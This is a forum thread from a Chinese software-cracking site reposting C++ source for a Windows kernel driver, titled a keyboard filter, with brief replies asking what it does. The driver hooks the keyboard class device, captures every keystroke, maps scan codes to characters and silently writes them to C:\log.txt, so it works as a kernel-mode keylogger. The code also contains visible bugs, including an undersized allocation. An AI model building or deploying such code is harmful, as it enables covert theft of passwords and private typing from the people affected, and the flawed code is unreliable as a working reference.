吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 750|回复: 18
收起左侧

[C&C++ 转载] Windows 64位键盘过滤

[复制链接]
Rodriguezs 发表于 2024-3-25 00:08
[C++] 纯文本查看 复制代码
#include<ntddk.h>
#include<wdm.h>
#include<ntddkbd.h>

static int REQUESTS = 0;//未处理IRP查询
//声明枚举
enum {
INVALID = 0x00,
ENTER = 0x01,
LSHIFT = 0x02,
RSHIFT = 0x03,
SPACE = ' ',
BACKSPACE = '&#172;',
TAB = ' '
};
char lowerKeys[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
BACKSPACE, //E
TAB, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
INVALID, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'\'', //28
'`', //29
LSHIFT, //2A
'\\', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
INVALID, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
char upperKeys[84] = {
INVALID, //0
INVALID, //1
'!', //2
'@', //3
'#', //4
'$', //5
'%', //6
'^', //7
'&', //8
'*', //9
'(', //A
')', //B
'_', //C
'+', //D
BACKSPACE, //E
TAB, //F
'Q', //10
'W', //11
'E', //12
'R', //13
'T', //14
'Y', //15
'U', //16
'I', //17
'O', //18
'P', //19
'{', //1A
'}', //1B
ENTER, //1C
INVALID, //1D
'A', //1E
'S', //1F
'D', //20
'F', //21
'G', //22
'H', //23
'J', //24
'K', //25
'L', //26
':', //27
'"', //28
'~', //29
LSHIFT, //2A
'|', //2B
'Z', //2C
'X', //2D
'C', //2E
'V', //2F
'B', //30
'N', //31
'M' , //32
'<', //33
'>', //34
'?', //35
RSHIFT, //36
INVALID, //37
INVALID, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pKeyBoardDevice;
PETHREAD pThreadObj;
BOOLEAN Shift;
BOOLEAN bClosedThread;
HANDLE hLog;
KSEMAPHORE SemaPhore;
KSPIN_LOCK SpinLock;

LIST_ENTRY ListHead;//定义双向链表
}DEVICE_EXTENSION, * PDEVICE_EXTENSION;
typedef struct _KEYDATA
{
LIST_ENTRY ListaNode;//这里我们定义链表 是为了在后续将获取到的信息写入记事本
char KeyData;
char KeyFlags;

}KEYDAA,*PKEYDATA;//源码写的是结构体但是我这里是用结构体指针  假如等下报错 那么在改回来
NTSTATUS DispatchSkip(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
{
//这里我们直接穿法irp包并不去修改它
IoSkipCurrentIrpStackLocation(pIrp);
//等下试试修改这里     感觉不用这么些也是可以的
return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
}
NTSTATUS ReadCompleted(PDEVICE_OBJECT pDeviceObejct, PIRP pIrp, PVOID ConText)
{
//获取当前设备对象给我们自定义的设备对象
ULONG i = 0;
PDEVICE_EXTENSION pDeviceExtensiong = (PDEVICE_EXTENSION)pDeviceObejct->DeviceExtension;
if (pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA Keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

int nKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

for (i = 0; i < nKeys; i++)
{
KdPrint(("ScanCode:%x", Keys[i].MakeCode));

if (Keys[i].Flags == KEY_BREAK)
KdPrint(("Key_Up"));
if (Keys[i].Flags == KEY_MAKE)
KdPrint(("Key_Down"));

//源码这里转化为结构体指针 但是我这里本身在定义结构体得时候就是结构体指针所以 没有加星号 假如出问题等下修改这里
PKEYDATA KData = (PKEYDATA)ExAllocatePool(NonPagedPool, sizeof(PKEYDATA));
KData->KeyData = Keys[i].MakeCode;
KData->KeyFlags = Keys[i].Flags;//如果等下出问题 那么我们把整个键盘结构体该回去

ExInterlockedInsertTailList(&pDeviceExtensiong->ListHead, &KData->ListaNode, &pDeviceExtensiong->SpinLock);

KeReleaseSemaphore(&pDeviceExtensiong->SemaPhore, 0, 1, FALSE);
}
}
if (pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
--REQUESTS;
return pIrp->IoStatus.Status;
}
NTSTATUS DispatchRead(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
KdPrint(("IN DispatchRead"));
//复制当前得IRP包 到下一个堆栈
IoCopyCurrentIrpStackLocationToNext(pIrp);
IoSetCompletionRoutine(pIrp, ReadCompleted, pDeviceObject, TRUE, TRUE, TRUE);
++REQUESTS;
KdPrint(("REQUESTS被读取得次数=%d",REQUESTS));//这调代码增加得时间是16:25之前运行一切正常
return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
}
NTSTATUS InitializeKeyboardFilter(PDRIVER_OBJECT pDriverObject)
{
KdPrint(("IN InitializeKeyboardFilter"));
NTSTATUS nStatus = 0;
PDEVICE_OBJECT pDeviceObject;

nStatus = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, TRUE, &pDeviceObject);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("设备创建失败"));
return nStatus;
}
//拷贝标志位
pDeviceObject->Flags |= (DO_BUFFERED_IO | DO_BUFFERED_IO);
pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
//内存清零,指定清零得内存大小
RtlZeroMemory(pDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));

PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

CCHAR cName[40] = "\\Device\\KeyboardClass0";
STRING strName;
UNICODE_STRING ustrDeviceName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrDeviceName, &strName, TRUE);

//挂载设备
IoAttachDevice(pDeviceObject, &ustrDeviceName, &pDeviceExtension->pKeyBoardDevice);
//其实这里应该有个判断得  此处不严谨
RtlFreeUnicodeString(&ustrDeviceName);
KdPrint(("键盘过滤安装"));
return nStatus;
}
char* Scancode2Key(PDEVICE_EXTENSION pDeviceExtension, PKEYDATA kData, char* keys)
{
char key;

key = lowerKeys[kData->KeyData];

switch (key)
{
case LSHIFT:
if (kData->KeyFlags == KEY_MAKE)
pDeviceExtension->Shift = TRUE;
else
{
pDeviceExtension->Shift = FALSE;
break;
}
case RSHIFT:
if (kData->KeyFlags == KEY_MAKE)
pDeviceExtension->Shift = TRUE;
else
{
pDeviceExtension->Shift = FALSE;
}
break;
case ENTER:
if (kData->KeyFlags == KEY_MAKE)
{
keys[0] = 0x0D;
keys[1] = 0xAD;
}
break;
default:
if (kData->KeyFlags == KEY_MAKE)
{
if (pDeviceExtension->Shift == TRUE)
{
keys[0] = upperKeys[kData->KeyData];
}
else
{
keys[0] = lowerKeys[kData->KeyData];
}
}
}
return keys;
}
VOID ThreadForWriting(PVOID pContext)
{
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pContext;
PLIST_ENTRY pListEntry;
PKEYDATA kData;//这里得源码是指针但是我由于定义得是结构体指针假如等下有错再改回来
while (TRUE)
{
KeWaitForSingleObject(&pDeviceExtension->SemaPhore, Executive, KernelMode, FALSE, NULL);
pListEntry = ExInterlockedRemoveHeadList(&pDeviceExtension->ListHead, &pDeviceExtension->SpinLock);

if (pDeviceExtension->bClosedThread == TRUE)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData = CONTAINING_RECORD(pListEntry, KEYDAA, ListaNode);

char Keys[3] = { 0 };

Scancode2Key(pDeviceExtension, kData, Keys);

if ((Keys != 0) && (pDeviceExtension->hLog != NULL))
{
LARGE_INTEGER Offset;
Offset.HighPart = -1;
Offset.LowPart = FILE_WRITE_TO_END_OF_FILE;

IO_STATUS_BLOCK IoStatus;
NTSTATUS nStatus;
nStatus = ZwWriteFile(pDeviceExtension->hLog, NULL, NULL, NULL, &IoStatus, &Keys, strlen(Keys), &Offset,NULL);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("Writing scancode failed"));
}
}
}
return;
}
NTSTATUS InitializeThread(PDRIVER_OBJECT pDriverObject)
{
//PDEVICE_EXTENSION pDeviceExztension = (PDEVICE_EXTENSION)pDriverObject->DriverExtension;//很有可能是这里出了问题
PDEVICE_EXTENSION pDeviceExztension = pDriverObject->DeviceObject->DeviceExtension;//这是一个很奇怪的问题修改这里之后解决

NTSTATUS nStatus;
pDeviceExztension->bClosedThread = NULL;

HANDLE hThread;
nStatus = PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadForWriting, pDeviceExztension);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("Thread initializing erro"));
return nStatus;
}
//例程提供对象句柄得访问验证,如果可以授权访问则返回对象主体得相应指针
nStatus=ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pDeviceExztension->pThreadObj,NULL);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("获取对象句柄权限失败"));
}
ZwClose(hThread);
KdPrint(("Thread initialized"));
return nStatus;
}
NTSTATUS CreateListAndFile(PDRIVER_OBJECT pDriverObject)
{
NTSTATUS nStatus;
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

InitializeListHead(&pDeviceExtension->ListHead);
KeInitializeSpinLock(&pDeviceExtension->SpinLock);//其实之前我们所做的自旋锁都是为了这一步做准备得
KeInitializeSemaphore(&pDeviceExtension->SemaPhore, 0, MAXLONG);

IO_STATUS_BLOCK FileStatus;
OBJECT_ATTRIBUTES ObjectAttributes;


CCHAR cName[64]= "\\DosDevices\\C:\\log.txt";
STRING strName;
UNICODE_STRING ustrFileName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrFileName,&strName,TRUE);
InitializeObjectAttributes(&ObjectAttributes, &ustrFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
nStatus = ZwCreateFile(&pDeviceExtension->hLog, GENERIC_WRITE, &ObjectAttributes, &FileStatus, NULL, FILE_ATTRIBUTE_NORMAL,0, FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_ALERT, NULL, 0);

RtlFreeUnicodeString(&ustrFileName);
if (nStatus == STATUS_SUCCESS)
{
KdPrint(("File was successfully created\n"));
}
else
{
KdPrint(("File Create error\n"));
}
return nStatus;
}
void Unload(PDRIVER_OBJECT pDriverObject)
{
KdPrint(("IN Un Driver"));

PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

IoDetachDevice(pDeviceExtension->pKeyBoardDevice);

KTIMER Timer;

LARGE_INTEGER TimerOut;

TimerOut.QuadPart = 1000000;

KeInitializeTimer(&Timer);
while (REQUESTS>0)
{
KeSetTimer(&Timer, TimerOut, NULL);
KeWaitForSingleObject(&Timer, Executive, KernelMode, FALSE, NULL);
}
pDeviceExtension->bClosedThread = TRUE;

KeReleaseSemaphore(&pDeviceExtension->SemaPhore,0,1,TRUE);

KeWaitForSingleObject(pDeviceExtension->pThreadObj, Executive, KernelMode, FALSE, NULL);

ZwClose(pDeviceExtension->hLog);

IoDeleteDevice(pDriverObject->DeviceObject);
return;

}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriveObject, PUNICODE_STRING Regpath)
{
KdPrint(("IN Driver"));
NTSTATUS nStatus = STATUS_SUCCESS;
ULONG i = 0;
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pDriveObject->MajorFunction[i] = DispatchSkip;
}
pDriveObject->MajorFunction[IRP_MJ_READ] = DispatchRead;


nStatus = InitializeKeyboardFilter(pDriveObject);

//开启线程
nStatus |= InitializeThread(pDriveObject);
nStatus |= CreateListAndFile(pDriveObject);

pDriveObject->DriverUnload = Unload;
return nStatus;
}

免费评分

参与人数 2吾爱币 +1 热心值 +1 收起 理由
hgfty1 + 1 鼓励转贴优秀软件安全工具和文档!
MUlanzi + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Benny111 发表于 2024-3-25 11:16
下次详细说明一下是有什么用的,什么场景用。
turmasi1234 发表于 2024-3-25 07:31
w668 发表于 2024-3-25 07:51
caojian1624 发表于 2024-3-25 07:55
谢谢分享
wojiushiliu 发表于 2024-3-25 08:15
这个是做啥用的
flybird2007 发表于 2024-3-25 08:37
应该是在某些情况下阻止某些键的作用
kyzdlc 发表于 2024-3-25 08:37
感谢大佬分享
Laurenceo278 发表于 2024-3-25 08:52
不懂就问,这是干啥用的
arg10 发表于 2024-3-25 09:06
键盘的一般用autohotkey
andy2015 发表于 2024-3-25 09:13
谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-29 01:47

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表